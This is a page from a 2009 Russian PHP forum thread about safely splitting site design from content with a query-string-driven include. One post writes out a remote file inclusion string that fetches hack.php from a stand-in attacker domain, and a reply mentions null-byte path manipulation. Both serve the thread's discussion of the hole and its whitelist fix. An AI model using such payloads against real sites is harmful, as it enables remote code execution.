Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум (новые сообщения вниз) Структурный форум

тема: Сайт по кирпичикам схема темплейта

Сообщения:  [1-10]   [11-14] 

 
 автор: Петр   (22.07.2009 в 10:01)   письмо автору
 
   для: belvision   (05.04.2009 в 21:42)
 

Все достаточно просто:

БД
---
id | url | name | file
1 | news | новости | news.php
2 | catalog | каталог | catalog123.php

В качестве GET-параметра передаешь не имя файла, а его идентификатор (url), потом это название ищится в базе данных среди всех доступных файлов, если оно есть, то подключается соответсвующий файл.

  Ответить  
 
 автор: belvision   (05.04.2009 в 21:42)   письмо автору
 
   для: cheops   (05.04.2009 в 18:21)
 

Спасибо за анализ, если не трудно напишите хотябы защитить этот код или может другой вариант разделения дизайна и наполнения с такими же функциями

  Ответить  
 
 автор: cheops   (05.04.2009 в 18:21)   письмо автору
 
   для: belvision   (05.04.2009 в 17:47)
 

Да, только, вместо hack.php следует использовать hack.txt, ну или выводить в hack.txt PHP-код в консоль и обычно манипулируют нулевым байтом - признаком конца строки. А так да, это уязвимость, для формирования пути в include() лучше вообще не использовать данные поступаемые из вне, чтобы случайно не оставить дыру, позволяющие выполнять произвольный PHP-код.

  Ответить  
 
 автор: belvision   (05.04.2009 в 17:47)   письмо автору
 
   для: cheops   (13.02.2009 в 19:53)
 

А если я вместо имени файла подставлю в запросе такую строку?Код
;include("http://my_hacking_site.ru/hack.php");$file=


В результате на сайте отработает код:PHP
$file="txt/";
include("http://my_hacking_site.ru/hack.php");
$file=".htm";

можно ли назвать этот пример действительно дырой?

  Ответить  
 
 автор: cheops   (13.02.2009 в 19:53)   письмо автору
 
   для: belvision   (13.02.2009 в 17:11)
 

Вообще basename() не должен позволять выполнять эксплоиты на вашем сайте, но использование переменных, формируемых с использованием внешних данных, считается плохим тоном. Здесь проверка стоит, в следующий раз её можно забыть поставить - появится дыра, а злоумышленники такие дыры зачастую ищут автоматическими средствами.

  Ответить  
 
 автор: belvision   (13.02.2009 в 17:11)   письмо автору
 
   для: Trianon   (11.02.2009 в 23:57)
 

Так подскажите пожалуйста как это доработать чтобы было безопасно и интерестно каких эксплойтов и чем это реально грозит.

  Ответить  
 
 автор: Trianon   (11.02.2009 в 23:57)   письмо автору
 
   для: belvision   (11.02.2009 в 23:22)
 

Вам эксплойтов тут же насуют чрез это решение.

[поправлено модератором]

  Ответить  
 
 автор: belvision   (11.02.2009 в 23:22)   письмо автору
 
   для: Trianon   (11.02.2009 в 22:40)
 

Вот ребята подсказали гениальное решение этой проблемы http://phpfaq.ru/easy/?code

Этот сайт построен на основе навороченной CMS
все страницы хранятся в каталоге txt и имеют расширение .html чтобы показать страницу, надо обратиться к сайту, в качестве query string указав имя файла без расширения
например: /index.php?about или просто /?about

<b><center><a href="index.php">главная</a>
<a href=?about>обо мне</a>
<a href=?links>ссылки</a>
<a href=?code>Код этого скрипта</a>
</center></b>
<br><br>
<?
if (empty($_SERVER['QUERY_STRING'])) {
$name="index";
} else {
$name=basename($_SERVER['QUERY_STRING']);
}
$file="txt/".$name.".htm";
if (is_readable($file)) {
readfile($file);
} else {
echo "<br>Запрошенный вами файл не найден<br>";
}
?>

  Ответить  
 
 автор: Trianon   (11.02.2009 в 22:40)   письмо автору
 
   для: belvision   (11.02.2009 в 22:32)
 

а зачем?
Зачем пытаться дорабатывать именно этот дерь... сырь... код?

  Ответить  
 
 автор: belvision   (11.02.2009 в 22:32)   письмо автору
 
   для: AcidTrash   (11.02.2009 в 22:25)
 

Подскажите как доработать код то есть как определить переменную чтобы всё заработало

  Ответить  

Сообщения:  [1-10]   [11-14] 

Форум разработан IT-студией SoftTime
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования